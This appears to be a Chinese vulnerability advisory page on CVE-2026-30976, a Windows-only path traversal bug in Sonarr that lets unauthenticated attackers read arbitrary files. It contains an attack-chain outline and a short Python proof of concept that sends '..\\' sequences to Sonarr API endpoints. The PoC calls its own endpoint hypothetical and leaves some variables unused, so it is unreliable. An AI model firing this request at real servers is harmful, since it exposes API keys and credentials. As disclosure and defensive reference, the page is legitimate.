IPBUF安全漏洞报告
English
CVE-2026-30976 CVSS 8.6 高危

CVE-2026-30976 Sonarr 任意文件读取漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-30976
漏洞类型
路径遍历
CVSS评分
8.6 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sonarr

相关标签

路径遍历任意文件读取SonarrCVE-2026-30976Windows

漏洞概述

Sonarr是一款针对Usenet和BitTorrent用户的个人视频录制器(PVR)。在4.0.17.2950版本之前的4.x分支中,存在一个严重的安全缺陷。未经身份验证的远程攻击者可利用该漏洞读取Sonarr进程有权限访问的任意文件。受影响的文件包括包含API密钥和数据库凭据的应用程序配置文件、Windows系统文件以及同一驱动器上的用户文件。该问题仅影响Windows系统,macOS和 Linux不受影响。漏洞成因是API返回的文件未限制在预期的磁盘目录中。官方已在4.0.17.2950(nightly/develop分支)和4.0.17.2952(stable/main版本)中修复了此问题。

技术细节

该漏洞的核心在于路径遍历(Path Traversal)。在受影响的Sonarr Windows版本中,API端点在处理文件访问请求时,未能对用户提供的路径参数进行严格的目录限制验证。攻击者无需经过身份认证,即可通过构造包含“../”或“..\”序列的恶意HTTP请求,突破预期的目录边界。由于Sonarr服务通常具有一定的文件系统访问权限,攻击者可以利用此缺陷遍历至系统根目录或其他敏感路径,进而读取敏感文件。虽然该漏洞不破坏数据完整性或可用性,但机密性影响极高(C:H),可能导致凭证泄露,进而引发更严重的横向移动攻击。

攻击链分析

STEP 1
1. 信息收集
攻击者扫描网络,识别出运行在Windows系统上的Sonarr实例(通常监听8989端口)。
STEP 2
2. 漏洞利用
攻击者向目标Sonarr API发送特制的HTTP请求,在路径参数中插入“..\”序列以尝试遍历目录。
STEP 3
3. 数据窃取
如果利用成功,Sonarr服务响应并返回攻击者请求的系统敏感文件(如配置文件或系统文件),导致信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Sonarr instance) target_url = "http://<target-ip>:8989/api/v3/diskSpace?path=../../.." # Note: The exact vulnerable endpoint might vary based on specific API implementation. # This PoC demonstrates the concept of path traversal to read files. # In a real scenario, the attacker would manipulate the 'path' or similar parameter. # Example payload to read Windows win.ini file # Usually Sonarr runs on Windows as a service. payload = "C:\\Windows\\win.ini" # Constructing a hypothetical malicious request # Assuming an endpoint like /api/file exists or parameters are injectable vuln_endpoint = "http://<target-ip>:8989/api/v3/rootfolder" params = { # Attempting to traverse out of the application root "path": "..\\..\\..\\..\\windows\\win.ini" } try: response = requests.get(vuln_endpoint, params=params) if response.status_code == 200: print("[+] Potential vulnerability confirmed!") print("Response content:") print(response.text) else: print("[-] Exploit failed or endpoint not found.") except Exception as e: print(f"Error: {e}")

影响范围

Sonarr 4.x < 4.0.17.2950
Sonarr 4.x < 4.0.17.2952 (Stable)

防御指南

临时缓解措施
如果无法立即升级,建议仅通过VPN、Tailscale或安全内部网络访问Sonarr,避免将其直接暴露在公网。同时,确保运行Sonarr的服务账户仅具有必要的文件读取权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表